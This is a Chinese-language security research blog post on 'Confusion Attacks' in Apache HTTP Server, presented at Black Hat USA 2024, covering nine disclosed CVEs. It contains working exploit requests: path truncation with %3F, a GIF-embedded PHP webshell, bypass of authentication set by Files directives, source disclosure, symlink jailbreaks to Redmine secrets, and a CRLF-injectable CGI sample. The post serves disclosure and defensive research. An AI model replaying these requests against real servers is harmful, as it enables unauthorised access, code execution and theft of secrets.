大家好!这是我在Black Hat USA 2024上展示的有关 Apache HTTP Server 的研究。此外,这项研究还将在HITCON和OrangeCon上展示。如果您有兴趣预览,可以在此处查看幻灯片:
混淆攻击:利用 Apache HTTP 服务器中隐藏的语义模糊性!
另外,我要感谢 Akamai 的友好支持!他们在这项研究发表后立即发布了缓解措施(详情可参阅Akamai 的博客)。
长话短说
本文探讨了 Apache HTTP Server 中的架构问题,重点介绍了 Httpd 中的几项技术问题,包括 3 种混淆攻击、9 个新漏洞、20 种利用技术和 30 多个案例研究。内容包括但不限于:
- 如何
?
绕过 Httpd 的内置访问控制和身份验证。 RewriteRules
逃离 Web Root 并访问整个文件系统是多么不安全。- 如何利用 1996 年的一段代码将 XSS 转变为 RCE。
故事开始之前
本节仅是一些个人想法。如果你只对技术细节感兴趣,请直接跳至 —故事是如何开始的?
作为一名研究人员,最大的快乐或许就是看到自己的工作得到同行的认可和理解。因此,在完成一项重大研究并取得丰硕成果后,自然希望全世界都能看到它——这也是我多次在 Black Hat USA 和 DEFCON 上发表演讲的原因。您可能知道,自 2022 年以来,我一直无法获得有效的旅行许可进入美国(对于台湾,签证豁免计划下的旅行许可通常可以在几分钟到几小时内在线获得),导致我错过了2022 年 Black Hat USA的现场演讲。即使是 2023 年独自前往马丘比丘和复活节岛的旅行也无法在美国过境
为了应对这种情况,我在今年 1 月开始准备 B1/B2 签证,写各种文件,在大使馆面试,无休止地等待。这并不好玩。但为了让我的作品被看到,我还是花了很多时间寻找各种可能性,甚至直到会议开始前三周,我都不清楚我的演讲是否会被取消(BH 只接受现场演讲,但多亏了 RB,它最终可以以预先录制的形式呈现)。所以,你看到的一切,包括幻灯片、视频和这篇博客,都是在短短几十天内完成的。😖
作为一个问心无愧的纯粹研究员,我对漏洞的态度一直是——直接上报厂商修复。写下这些文字,不是为了什么特别的原因,只是想记录一下这一年来的一些无奈,一些努力,也感谢这一年里帮助过我的人,谢谢大家
故事是如何开始的?
今年年初,我开始思考下一个研究目标。你可能知道,我总是想挑战那些能够影响整个互联网的大目标,所以我开始搜索一些复杂的主题或有趣的开源项目,比如 Nginx、PHP,甚至深入研究 RFC 来加强我对协议细节的理解。
虽然大多数尝试都以失败告终(尽管有些可能会成为下一篇博客文章的主题 😉),但阅读这些代码让我想起了去年对 Apache HTTP Server 进行的快速审查!虽然由于工作安排,我没有深入研究代码,但当时我已经“嗅到”它的编码风格有些不对劲。
所以今年,我决定继续这项研究,将“坏味道”从一种难以形容的“感觉”转化为对 Apache HTTP Server 的具体研究!
Apache HTTP 服务器为何这么糟糕?
首先,Apache HTTP Server 是一个由“模块”构建的世界,正如其官方文档中关于其模块化的自豪宣称的那样:
Apache httpd 一直通过其模块化设计适应各种各样的环境。[…] Apache HTTP Server 2.0 将这种模块化设计扩展到 Web 服务器的最基本功能。
整个 Httpd 服务依靠数百个小模块协同工作来处理客户端的 HTTP 请求。在官方文档列出的 136 个模块中,大约有一半是默认启用的或网站经常使用的!
更令人惊讶的是,这些模块request_rec
在处理客户端 HTTP 请求时还维护着一个庞大的结构。该结构包括处理 HTTP 所涉及的所有元素,其详细定义可在include/httpd.h中找到。所有模块都依赖这个庞大的结构进行同步、通信和数据交换。当 HTTP 请求经过几个阶段时,模块就像接球游戏中的玩家一样,将结构从一个传递给另一个。每个模块甚至可以根据自己的偏好修改此结构中的任何值!
从软件工程的角度来看,这种协作并不新鲜。每个模块只专注于自己的任务。只要每个人都完成自己的工作,客户端就可以享受 Httpd 提供的服务。这种方法可能适用于几个模块,但当我们将其扩展到数百个模块协作时会发生什么——它们真的能很好地协同工作吗? 🤔
我们的出发点很简单——模块之间并不完全了解彼此,但它们又需要合作。每个模块可能由不同的人实现,代码经过多年的迭代、重构和修改。他们真的还知道自己在做什么吗?即使他们了解自己的职责,其他模块的实现细节又如何呢?没有任何良好的开发标准或指南,一定存在一些我们可以利用的漏洞!
全新攻击——混乱攻击
基于这些观察,我们开始关注这些模块之间的“关系”和“交互”。如果一个模块意外修改了它认为不重要但对另一个模块至关重要的结构字段,则它可能会影响后者的决策。此外,如果字段的定义或语义不够精确,导致模块对相同字段的理解产生歧义,也可能导致潜在的安全风险!
从这个出发点,我们开发了三种不同类型的攻击,因为这些攻击或多或少与结构字段的滥用有关。因此,我们将这个攻击面命名为“混淆攻击”,以下是我们开发的攻击:
- 文件名混淆
- DocumentRoot 混淆
- 处理程序混乱
通过这些攻击,我们发现了 9 个不同的漏洞:
- CVE-2024-38472 - Windows UNC SSRF 上的 Apache HTTP 服务器
- CVE-2024-39573 - Apache HTTP Server 代理编码问题
- CVE-2024-38477 - Apache HTTP 服务器:崩溃导致 mod_proxy 通过恶意请求拒绝服务
- CVE-2024-38476 - Apache HTTP Server 可能使用可利用/恶意的后端应用程序输出通过内部重定向运行本地处理程序
- CVE-2024-38475 - 当替换的第一个段与文件系统路径匹配时,Apache HTTP Server mod_rewrite 中存在弱点
- CVE-2024-38474 - Apache HTTP Server 漏洞,反向引用中存在编码问号
- CVE-2024-38473 - Apache HTTP Server 代理编码问题
- CVE-2023-38709 - Apache HTTP 服务器:HTTP 响应拆分
- CVE-2024-?????? - [已删除]
这些漏洞是通过官方安全邮件列表报告的,并由 Apache HTTP Server在 2024-07-01 发布的2.4.60 更新中解决。
由于这是 Httpd 的架构设计和内部机制带来的新攻击面,自然,第一个深入研究它的人可以发现最多的漏洞。因此,我目前拥有最多的 Apache HTTP Server CVE 😉。它导致许多更新不向后兼容。因此,对于许多长期运行的生产服务器来说,修补这些问题并不容易。如果管理员在更新时没有仔细考虑,他们可能会破坏现有配置,导致服务停机。😨
现在,是时候开始我们的混乱攻击了!你准备好了吗?
🔥 1. 文件名混淆
第一个问题源于对 filename 字段的混淆。从字面上看,它r->filename
应该表示文件系统路径。然而,在 Apache HTTP Server 中,一些模块将其视为 URL。如果在 HTTP 上下文中,大多数模块将其视为r->filename
文件系统路径,而其他一些模块将其视为 URL,则这种不一致可能会导致安全问题!
⚔️ 原始 1-1. 截断
那么,哪些模块可以r->filename
视为 URL?第一个是mod_rewrite
,它允许系统管理员使用指令轻松地将路径模式重写为指定的替换目标RewriteRule
:
RewriteRule Pattern Substitution [flags]
目标可以是文件系统路径,也可以是 URL。该功能可能是为了用户体验而存在的。然而,这种“便利”也带来了风险。例如,在重写目标路径时,mod_rewrite
会强制将所有结果视为 URL,并在问号 后截断路径%3F
。这会导致以下两种利用。
路径:modules/mappers/mod_rewrite.c#L4141
/*
* Apply a single RewriteRule
*/
static int apply_rewrite_rule(rewriterule_entry *p, rewrite_ctx *ctx)
{
ap_regmatch_t regmatch[AP_MAX_REG_MATCH];
apr_array_header_t *rewriteconds;
rewritecond_entry *conds;
// [...]
for (i = 0; i < rewriteconds->nelts; ++i) {
rewritecond_entry *c = &conds[i];
rc = apply_rewrite_cond(c, ctx);
// [...] do the remaining stuff
}
/* Now adjust API's knowledge about r->filename and r->args */
r->filename = newuri;
if (ctx->perdir && (p->flags & RULEFLAG_DISCARDPATHINFO)) {
r->path_info = NULL;
}
splitout_queryargs(r, p->flags); // <------- [!!!] Truncate the `r->filename`
// [...]
}
✔️ 1-1-1. 路径截断
第一个原语利用了文件系统路径上的这种截断。想象一下以下内容RewriteRule
:
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
服务器会根据用户名跟路径打开相应的配置文件/user/
,例如:
$ curl http://server/user/orange
# the output of file `/var/user/orange/profile.yml`
由于mod_rewrite
强制将所有重写结果视为 URL,即使目标是文件系统路径,它也会从问号处被截断,从而切断尾部/profile.yml
,例如:
$ curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
这是我们的第一个原语——路径截断。让我们暂时停止对这个原语的探索。虽然现在它看起来像是一个小缺陷,但请记住——它会在以后的攻击中再次出现,逐渐撕开这个看似很小的缺口!😜
✔️ 1-1-2. 误导 RewriteFlag 分配
截断原语的第二个利用方法是误导的赋值RewriteFlags
。想象一下,系统管理员通过以下方式管理网站及其相应的处理程序RewriteRule
:
RewriteEngine On
RewriteRule ^(.+.php)$ $1 [H=application/x-httpd-php]
如果请求以.php
扩展结束,它会为其添加相应的处理程序mod_php
(这也可以是环境变量或内容类型;您可以参考官方的RewriteRule Flags手册了解详细信息)。
由于 的截断行为mod_rewrite
发生在正则表达式匹配之后,攻击者可以使用 来利用原始规则将标志应用于不应应用的请求?
。例如,攻击者可以上传嵌入恶意 PHP 代码的 GIF 图像,并通过以下精心设计的请求将其作为后门执行:
$ curl http://server/upload/1.gif
# GIF89a <?=`id`;>
$ curl http://server/upload/1.gif%3fooo.php
# GIF89a uid=33(www-data) gid=33(www-data) groups=33(www-data)
⚔️ 基本步骤 1-2. ACL 绕过
文件名混淆的第二个原语发生在 中mod_proxy
。与上一个原语在所有情况下都将目标视为 URL 不同,这次身份验证和访问控制绕过是由模块之间的语义不一致引起的!r->filename
鉴于代理的主要目的是将请求“重定向”到其他 URL,将 视为 URL实际上是有意义的。但是,当不同组件交互时,尤其是当大多数模块默认将 视为文件系统路径时,假设您mod_proxy
使用基于文件的访问控制,现在将其视为 URL;这种不一致可能会导致访问控制或身份验证绕过!r->filename
r->filename
mod_proxy
r->filename
一个典型的例子是当系统管理员使用Files
指令来限制单个文件时,例如admin.php
:
<Files "admin.php">
AuthType Basic
AuthName "Admin Panel"
AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
这种配置在默认的 PHP-FPM 安装下可以直接绕过!还值得一提的是,这是在 Apache HTTP Server 中配置身份验证的最常用方法之一!假设你访问这样的 URL:
http://服务器/admin.php%3Fooo.php
首先,在此 URL 的 HTTP 生命周期中,身份验证模块会将请求的文件名与受保护的文件进行比较。此时,字段r->filename
为admin.php?ooo.php
,显然与 不匹配admin.php
,因此模块将假定当前请求不需要身份验证。但是,PHP-FPM 配置设置.php
为mod_proxy
使用SetHandler
指令将以 结尾的请求转发到 :
路径:/etc/apache2/mods-enabled/php8.2-fpm.conf
# Using (?:pattern) instead of (pattern) is a small optimization that
# avoid capturing the matching pattern (as $1) which isn't used here
<FilesMatch ".+.ph(?:ar|p|tml)$">
SetHandler "proxy:unix:/run/php/php8.2-fpm.sock|fcgi://localhost"
</FilesMatch>
会mod_proxy
重写r->filename
为如下URL,并调用子模块mod_proxy_fcgi
处理后续的FastCGI协议:
代理:fcgi://127.0.0.1:9000/var/www/html/admin.php?ooo.php
由于后端接收的文件名格式很奇怪,PHP-FPM 必须对此行为进行特殊处理。此处理的逻辑如下:
路径:sapi/fpm/fpm/fpm_main.c#L1044
#define APACHE_PROXY_FCGI_PREFIX "proxy:fcgi://"
#define APACHE_PROXY_BALANCER_PREFIX "proxy:balancer://"
if (env_script_filename &&
strncasecmp(env_script_filename, APACHE_PROXY_FCGI_PREFIX, sizeof(APACHE_PROXY_FCGI_PREFIX) - 1) == 0) {
/* advance to first character of hostname */
char *p = env_script_filename + (sizeof(APACHE_PROXY_FCGI_PREFIX) - 1);
while (*p != '�' && *p != '/') {
p++; /* move past hostname and port */
}
if (*p != '�') {
/* Copy path portion in place to avoid memory leak. Note
* that this also affects what script_path_translated points
* to. */
memmove(env_script_filename, p, strlen(p) + 1);
apache_was_here = 1;
}
/* ignore query string if sent by Apache (RewriteRule) */
p = strchr(env_script_filename, '?');
if (p) {
*p =0;
}
}
如你所见,PHP-FPM 首先对文件名进行规范化,并在问号处将其拆分?
,以提取要执行的实际文件路径(即/var/www/html/admin.php
)。这会导致绕过,基本上,与 PHP-FPM 一起运行时,基于单个 PHP 文件的指令的所有身份验证或访问控制Files
都存在风险! 😮
GitHub 上有很多潜在的危险配置,比如phpinfo()
仅限于内部网络访问:
# protect phpinfo, only allow localhost and local network access
<Files php-info.php>
# LOCAL ACCESS ONLY
# Require local
# LOCAL AND LAN ACCESS
Require ip 10 172 192.168
</Files>
管理员被屏蔽.htaccess
:
<Files adminer.php>
Order Allow,Deny
Deny from all
</Files>
受保护xmlrpc.php
:
<Files xmlrpc.php>
Order Allow,Deny
Deny from all
</Files>
禁止直接访问的 CLI 工具:
<Files "cron.php">
Deny from all
</Files>
mod_proxy
由于身份验证模块和字段解释方式不一致r->filename
,只需一个 即可成功绕过上述所有示例?
。
🔥 2. DocumentRoot 混淆
我们要深入研究的下一个攻击是基于 DocumentRoot 的混淆!让我们暂时考虑一下这个 Httpd 配置:
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
当您访问 URL 时http://server/html/about
,您认为 Httpd 实际上打开了哪个文件?是根目录下的文件,/about.html
还是 DocumentRoot 中的文件/var/www/html/about.html
?
答案是——它访问了两条路径。没错,这是我们的第二个混淆攻击。对于任何[1] RewriteRule
,Apache HTTP Server 总是尝试打开有 DocumentRoot 和没有 DocumentRoot 的路径!很神奇,对吧?😉
[1] 位于Server Config
或VirtualHost Block
路径:modules/mappers/mod_rewrite.c#L4939
if(!(conf->options & OPTION_LEGACY_PREFIX_DOCROOT)) {
uri_reduced = apr_table_get(r->notes, "mod_rewrite_uri_reduced");
}
if (!prefix_stat(r->filename, r->pool) || uri_reduced != NULL) { // <------ [1] access without root
int res;
char *tmp = r->uri;
r->uri = r->filename;
res = ap_core_translate(r); // <------ [2] access with root
r->uri = tmp;
if (res != OK) {
rewritelog((r, 1, NULL, "prefixing with document_root of %s"
" FAILED", r->filename));
return res;
}
rewritelog((r, 2, NULL, "prefixed with document_root to %s",
r->filename));
}
rewritelog((r, 1, NULL, "go-ahead with %s [OK]", r->filename));
return OK;
}
大多数情况下,没有 DocumentRoot 的版本是不存在的,因此 Apache HTTP Server 会选择带有 DocumentRoot 的版本。但这种行为已经让我们“故意”访问 Web Root 之外的路径。如果今天我们可以控制 的前缀RewriteRule
,难道我们不能访问系统上的任何文件吗?这就是我们第二次混淆攻击的精神!你可以在 GitHub 上找到大量有问题的配置,甚至来自官方 Apache HTTP Server 文档的示例也容易受到攻击:
# Remove mykey=???
RewriteCond "%{QUERY_STRING}" "(.*(?:^|&))mykey=([^&]*)&?(.*)&?$"
RewriteRule "(.*)" "$1?%1%3"
还有其他RewriteRule
规则也会受到影响,比如基于缓存需求或隐藏文件扩展名的规则:
RewriteRule "^/html/(.*)$" "/$1.html"
该规则试图通过选择静态文件的压缩版本来节省带宽:
RewriteRule "^(.*).(css|js|ico|svg)" "$1.$2.gz"
将旧 URL 重定向到主站点的规则:
RewriteRule "^/oldwebsite/(.*)$" "/$1"
对所有 CORS 预检请求返回 200 OK 的规则:
RewriteCond %{REQUEST_METHOD} OPTIONS
RewriteRule ^(.*)$ $1 [R=200,L]
理论上,只要 a 的目标前缀RewriteRule
可控,我们几乎可以访问整个文件系统。但从上面的实际案例来看,像.html
和 这样的扩展名.gz
是阻止我们真正自由的限制。那么,我们可以访问 之外的文件吗.html
?我不知道你是否还记得之前文件名混淆中的路径截断原语?通过结合这两个原语,我们可以自由访问文件系统上的任意文件!
以下演示均基于此 unsafe RewriteRule
:
RewriteEngine On
RewriteRule "^/html/(.*)$" "/$1.html"
⚔️ 原语 2-1. 服务器端源代码泄露
让我们介绍一下 DocumentRoot 混淆的第一个原语——任意服务器端源代码泄露!
由于 Apache HTTP Server 根据当前目录或虚拟主机配置来决定是否将文件视为服务器端脚本,因此通过绝对路径访问目标可能会混淆 Httpd 的逻辑,导致其泄露本应作为代码执行的内容。
✔️ 2-1-1. 公开 CGI 源代码
从服务器端CGI源代码的泄露开始,由于mod_cgi
将CGI文件夹绑定到指定的URL前缀ScriptAlias
,直接使用绝对路径访问CGI文件会因URL前缀的变化而泄露其源代码。
$ curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
$ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# #!/usr/bin/perl
# use CGI;
# ...
# # the source code of download.cgi
✔️ 2-1-2. 公开 PHP 源代码
接下来是服务器端 PHP 源代码的泄露。鉴于 PHP 有多种用例,如果 PHP 环境仅应用于特定目录或虚拟主机(这在网站托管中很常见),从不支持 PHP 的虚拟主机访问 PHP 文件可能会泄露源代码!
例如,www.local
和static.local
是托管在同一台服务器上的两个网站;www.local
允许执行 PHP,而static.local
仅提供静态文件。因此,您可以通过config.php
以下方式泄露敏感信息:
$ curl http://www.local/config.php
# the processed result (empty) from config.php
$ curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
⚔️ 原始 2-2。本地小工具操作!
接下来是我们的第二个原语——本地小工具操作。
首先,当我们谈到“访问文件系统上的任何文件”时,你是否想过:“嘿,不安全的RewriteRule
访问可以吗/etc/passwd
?”答案是可以,也可以不行。什么?
从技术上讲,服务器确实会检查是否/etc/passwd
存在,但 Apache HTTP Server 的内置访问控制阻止了我们的访问。以下是 Apache HTTP Server配置模板的片段:
<Directory />
AllowOverride None
Require all denied
</Directory>
您会注意到它默认阻止对根目录/
( Require all denied
) 的访问。因此,我们的“任意文件访问”能力似乎有点“无能为力”。这是否意味着表演结束了?并不是的!我们已经打破了仅允许访问 DocumentRoot 的信任,这是向前迈出的重要一步!
仔细检查不同的 Httpd 发行版后发现,Debian/Ubuntu操作系统默认允许/usr/share
:
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
因此,下一步就是“压缩”此目录中的所有可能性。所有可用资源,例如现有教程、文档、单元测试文件,甚至 PHP、Python 等编程语言,甚至 PHP 模块都可能成为我们滥用的目标!
PS 当然,这里的利用是基于Ubuntu/Debian操作系统自带的Httpd,但在实践中我们也发现有些应用程序会把Require all denied
根目录中的这一行去掉,从而允许直接访问/etc/passwd
。
✔️ 2-2-1. 本地小工具信息泄露
让我们在这个目录中寻找可能被利用的文件。首先,如果目标 Apache HTTP Serverwebsocketd
安装了该服务,则默认软件包dump-env.php
在 下包含一个示例 PHP 脚本/usr/share/doc/websocketd/examples/php/
。如果目标服务器上有 PHP 环境,则可以直接访问此脚本以泄露敏感的环境变量。
此外,如果目标安装了 Nginx 或 Jetty 之类的服务,虽然/usr/share
理论上是包安装的只读副本,但这些服务仍然将其默认的 Web Roots 放在下方/usr/share
,从而有可能泄露敏感的 Web 应用程序信息,例如web.xml
Jetty 中的。
- /usr/share/nginx/html/
- /usr/share/jetty9/etc/
- /usr/share/jetty9/webapps/
下面是一个简单的演示,使用作为只读副本存在的包来泄漏setup.php
内容。Davical
phpinfo()
✔️ 2-2-3. 本地小工具到 LFI
那么读取任意文件呢?如果目标服务器安装了 PHP 或前端包,如 JpGraph、jQuery-jFeed,甚至是 WordPress 或 Moodle 插件,那么它们的教程或调试控制台就可以成为我们的小工具,例如:
- /usr/share/doc/libphp-jpgraph-examples/examples/show-source.php
- /usr/share/javascript/jquery-jfeed/proxy.php
- /usr/share/moodle/mod/assignment/type/wims/getcsv.php
proxy.php
这是一个利用jQuery-jFeed 读取的简单示例/etc/passwd
:
✔️ 2-2-4. 本地小工具到 SSRF
找到 SSRF 漏洞也是小菜一碟,例如,MagpieRSS 提供了一个magpie_debug.php
文件,这是一个非常适合利用的小工具:
- /usr/share/php/magpierss/scripts/magpie_debug.php
✔️ 2-2-5. 本地小工具到 RCE
那么,我们能实现 RCE 吗?等等,让我们一步步来!首先,这个原语可以重新应用所有已知的现有攻击,比如开发遗留的旧版本 PHPUnit 或第三方依赖项,可以直接利用 CVE -2017-9841来执行任意代码。或者使用只读副本安装的 phpLiteAdmin,默认情况下密码为admin
。现在,你应该看到了本地小工具操纵的巨大潜力。剩下的就是发现更强大、更通用的小工具!
⚔️ Primitive 2-3. 通过本地小工具越狱
你可能会问:“我们真的不能越狱吗/usr/share
?”当然可以,这就引出了我们的第三个基本原则——越狱/usr/share
!
在Httpd 的Debian/UbuntuFollowSymLinks
发行版中,该选项默认显式启用。即使在非 Debian/Ubuntu 版本中,Apache HTTP Server 也默认隐式允许符号链接。
<Directory />
Options FollowSymLinks
AllowOverride None
Require all denied
</Directory>
✔️ 2-3-1. 通过本地小工具越狱
因此,任何在其安装目录中有指向外部的符号链接的软件包/usr/share
都可以成为访问更多小工具以供进一步利用的垫脚石。以下是我们迄今为止发现的一些有用的符号链接:
- 仙人掌日志:
/usr/share/cacti/site/
->/var/log/cacti/
- Solr 数据:
/usr/share/solr/data/
->/var/lib/solr/data
- Solr 配置:
/usr/share/solr/conf/
->/etc/solr/conf/
- MediaWiki 配置:
/usr/share/mediawiki/config/
->/var/lib/mediawiki/config/
- SimpleSAMLphp 配置:
/usr/share/simplesamlphp/config/
->/etc/simplesamlphp/
✔️ 2-3-2. 越狱本地小工具以进行 Redmine RCE
为了完成我们的越狱原件,让我们展示如何使用 Redmine 中的双跳符号链接执行 RCE。在 Redmine 的默认安装中,有一个instances/
指向的文件夹/var/lib/redmine/
,在文件夹内/var/lib/redmine/
,该default/config/
文件夹指向目录/etc/redmine/default/
,该目录包含 Redmine 的数据库设置和密钥。
$ file /usr/share/redmine/instances/
symbolic link to /var/lib/redmine/
$ file /var/lib/redmine/config/
symbolic link to /etc/redmine/default/
$ ls /etc/redmine/default/
database.yml secret_key.txt
因此,通过一个不安全的RewriteRule
链接和两个符号链接,我们可以轻松访问Redmine使用的应用程序密钥:
$ curl http://server/html/usr/share/redmine/instances/default/config/secret_key.txt%3f
HTTP/1.1 200 OK
Server: Apache/2.4.59 (Ubuntu)
...
6d222c3c3a1881c865428edb79a74405
而且由于Redmine是一个Ruby on Rails应用,所以 的内容secret_key.txt
其实就是用来签名和加密的密钥。接下来的步骤对于曾经攻击过RoR的人来说应该很熟悉:将使用已知密钥签名和加密的恶意Marshal对象嵌入到cookie中,然后通过服务端反序列化实现远程代码执行!
🔥 3. 处理程序混乱
我要介绍的最后一个攻击是基于 Handler 的混淆。这种攻击还利用了 Apache HTTP Server 遗留架构遗留下来的一块技术债务。让我们通过一个例子来快速了解这块技术债务——如果你今天想mod_php
在 Apache HTTP Server 上运行经典,你会使用以下哪两个指令?
AddHandler application/x-httpd-php .php
AddType application/x-httpd-php .php
答案是——两者都可以正确运行 PHP!以下是两个指令的语法,你可以看到,不仅用法相似,而且效果也完全相同。为什么 Apache HTTP Server 最初设计了两个不同的指令来做同样的事情呢?
AddHandler handler-name extension [extension] ...
AddType media-type extension [extension] ...
实际上,handler-name
和media-type
代表 Httpd 内部结构中的不同字段,分别对应于r->handler
和r->content_type
。用户可以在不知情的情况下互换使用它们,这要归功于 Apache HTTP Server 自1996 年早期开发以来就存在的一段代码:
路径:server/config.c#L420
AP_CORE_DECLARE(int) ap_invoke_handler(request_rec *r) {
// [...]
if (!r->handler) {
if (r->content_type) {
handler = r->content_type;
if ((p=ap_strchr_c(handler, ';')) != NULL) {
char *new_handler = (char *)apr_pmemdup(r->pool, handler,
p - handler + 1);
char *p2 = new_handler + (p - handler);
handler = new_handler;
/* exclude media type arguments */
while (p2 > handler && p2[-1] == ' ')
--p2; /* strip trailing spaces */
*p2='�';
}
}
else {
handler = AP_DEFAULT_HANDLER_NAME;
}
r->handler = handler;
}
result = ap_run_handler(r);
可以看到,在进入之前ap_run_handler()
,如果r->handler
为空,则将的内容r->content_type
作为最终的模块处理程序。这也是为什么AddType
和AddHandler
具有相同效果的原因,因为media-type
最终会转换为handler-name
之前的处理。所以,我们的第三个 Handler Confusion 主要围绕这个行为展开。
⚔️ 原语 3-1. 覆盖处理程序
通过理解这个转换机制,第一个原语是——覆盖处理程序。想象一下,如果今天目标 Apache HTTP Server 用于AddType
运行 PHP。
AddType application/x-httpd-php .php
正常情况下,在阶段http://server/config.php
访问时,Httpd 会根据 设置的文件扩展名将相应内容复制到 中。由于在整个 HTTP 生命周期中都没有被分配,所以会将其作为 handler,最终调用来处理该请求。mod_mime
type_checker
r->content_type
AddType
r->handler
ap_invoke_handler()
r->content_type
mod_php
但是,如果任何模块r->content_type
在到达之前“意外地”覆盖,会发生什么情况ap_invoke_handler()
?
✔️ 3-1-1. 覆盖处理程序以泄露 PHP 源代码
该原语的第一个利用方法是通过“意外覆盖”泄露任意 PHP 源代码。Max Dmitriev 在 ZeroNights 2021 上发表的研究中首次提到了这种技术(向他致敬!),您可以在此处查看他的幻灯片:
Apache 0day 漏洞,至今无人知晓,并且已被意外修复
Max Dmitriev 发现,通过发送错误的Content-Length
,远程 Httpd 服务器会触发意外错误并无意中返回 PHP 脚本的源代码。在调查该过程后,他发现问题是由于 ModSecurityAP_FILTER_ERROR
在使用 Apache Portable Runtime (APR) 库时未正确处理 的返回值,从而导致双重响应。发生错误时,Httpd 会尝试发送 HTML 错误消息,从而意外r->content_type
覆盖text/html
。
由于 ModSecurity 未能正确处理返回值,本应停止的内部 HTTP 生命周期仍继续运行。这个“副作用”还覆盖了最初添加的Content-Type
,导致本应作为 PHP 处理的文件被视为纯文本文档,从而暴露了其源代码和敏感设置。🤫
$ curl -v http://127.0.0.1/info.php -H "Content-Length: x"
> HTTP/1.1 400 Bad Request
> Date: Mon, 29 Jul 2024 05:32:23 GMT
> Server: Apache/2.4.41 (Ubuntu)
> Content-Type: text/html; charset=iso-8859-1
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html><head>
<title>400 Bad Request</title>
...
<?php phpinfo();?>
理论上,所有基于的配置Content-Type
都容易受到此类攻击,因此除了Max 幻灯片中所示的php-cgi
配对之外,纯耦合也会受到影响。mod_actions
mod_php
AddType
值得一提的是,此副作用已作为Apache HTTP Server 版本 2.4.44 中的请求解析器错误AP_FILTER_ERROR
得到纠正,因此在我再次发现此“漏洞”之前,将其视为已修复。但是,由于根本原因仍然是 ModSecurity 无法正确处理错误,因此如果找到触发此问题的另一条代码路径,仍然可以成功重现相同的行为。
PS 此问题已于 6/20 通过官方安全邮件反馈给 ModSecurity,项目 Co-Leader 建议回到原GitHub Issue进行讨论。
✔️ 3-1-2. 将处理程序覆盖为 ██████ ███████ ██████
根据前面提到的双重响应行为及其副作用,此原语可能会导致其他更酷的利用。但是,由于此问题尚未完全修复,因此将在问题完全解决后披露进一步的利用。
⚔️ 原语 3-2. 调用任意处理程序
我们再仔细思考一下之前的 Overwrite Handler 原语,虽然是由于 ModSecurity 未能正确处理错误,导致请求被设置了错误的Content-Type
,但更深层次的根本原因应该是 ——在使用 时,Apache HTTP Server 其实无法区分其语义;该字段可以在请求阶段通过指令设置,也可以在服务器响应中r->content_type
用作标头Content-Type
。
理论上,如果你能控制Content-Type
服务器响应中的标头,你就可以通过这个遗留代码片段调用任意模块处理程序。这是处理程序混淆的最后一个原语——调用任何内部模块处理程序!
然而,还有最后一块拼图。在 Httpd 中,对r->content_type
服务器响应的所有修改都发生在旧代码之后。因此,即使您可以控制该字段的值,在 HTTP 生命周期的那个时刻,进行进一步的利用也为时已晚……对吗?
我们求助于RFC 3875!RFC 3875 是关于 CGI 的规范,其中第 6.2.2 节定义了本地重定向响应行为:
CGI 脚本可以在 Location 标头字段中返回本地资源的 URI 路径和查询字符串(“local-pathquery”)。这指示服务器应使用指定的路径重新处理请求。
简而言之,该规范要求在某些条件下,CGI 必须使用服务器端资源来处理重定向。仔细检查mod_cgi
该规范的实现情况可以发现:
路径:modules/generators/mod_cgi.c#L983
if ((ret = ap_scan_script_header_err_brigade_ex(r, bb, sbuf, // <------ [1]
APLOG_MODULE_INDEX)))
{
ret = log_script(r, conf, ret, dbuf, sbuf, bb, script_err);
// [...]
if (ret == HTTP_NOT_MODIFIED) {
r->status = ret;
return OK;
}
return ret;
}
location = apr_table_get(r->headers_out, "Location");
if (location && r->status == 200) {
// [...]
}
if (location && location[0] == '/' && r->status == 200) { // <------ [2]
/* This redirect needs to be a GET no matter what the original
* method was.
*/
r->method = "GET";
r->method_number = M_GET;
/* We already read the message body (if any), so don't allow
* the redirected request to think it has one. We can ignore
* Transfer-Encoding, since we used REQUEST_CHUNKED_ERROR.
*/
apr_table_unset(r->headers_in, "Content-Length");
ap_internal_redirect_handler(location, r); // <------ [3]
return OK;
}
首先,mod_cgi
执行[1] CGI 并扫描其输出以设置相应的标头,例如Status
和Content-Type
。如果[2]返回的Status
是 200 且Location
标头以 开头/
,则响应将被视为服务器端重定向,并应在内部处理[3]。仔细查看 的实现ap_internal_redirect_handler()
会显示:
路径:modules/http/http_request.c#L800
AP_DECLARE(void) ap_internal_redirect_handler(const char *new_uri, request_rec *r)
{
int access_status;
request_rec *new = internal_internal_redirect(new_uri, r); // <------ [1]
/* ap_die was already called, if an error occured */
if (!new) {
return;
}
if (r->handler)
ap_set_content_type(new, r->content_type); // <------ [2]
access_status = ap_process_request_internal(new); // <------ [3]
if (access_status == OK) {
access_status = ap_invoke_handler(new); // <------ [4]
}
ap_die(access_status, new);
}
Httpd 首先创建[1]一个新的请求结构,并将[2]当前请求复制r->content_type
到其中。处理[3]生命周期后,它会调用[4] ap_invoke_handler()
— 包括旧转换的地方。因此,在服务器端重定向中,如果您可以控制响应标头,则可以调用 Httpd 内的任何模块处理程序。基本上,Apache HTTP Server 中的所有 CGI 实现都遵循此行为,下面是一个简单的列表:
- mod_cgi
- mod_cgid
- mod_wsgi
- mod_uwsgi
- mod_fastcgi
- mod_perl
- 模组_asis
- mod_fcgid
- mod_proxy_scgi
- …
至于在实际场景中如何触发此服务器端重定向?由于您至少需要控制响应Content-Type
和部分Location
,因此这里有两个场景供参考:
- CGI 响应标头中的 CRLF 注入,允许用新行覆盖现有的 HTTP 标头。
- 可以完全控制响应头的 SSRF,比如托管在django-revproxy
mod_wsgi
上的项目。
以下示例均基于这种不安全的 CRLF 注入,仅用于演示:
#!/usr/bin/perl
use CGI;
my $q = CGI->new;
my $redir = $q->param("r");
if ($redir =~ m{^https?://}) {
print "Location: $redirn";
}
print "Content-Type: text/htmlnn";
✔️ 3-2-1. 任意处理信息泄露
从调用任意处理程序来泄露信息开始,我们使用 Apache HTTP Server 中的内置server-status
处理程序,该处理程序通常只允许在本地访问:
<Location /server-status>
SetHandler server-status
Require local
</Location>
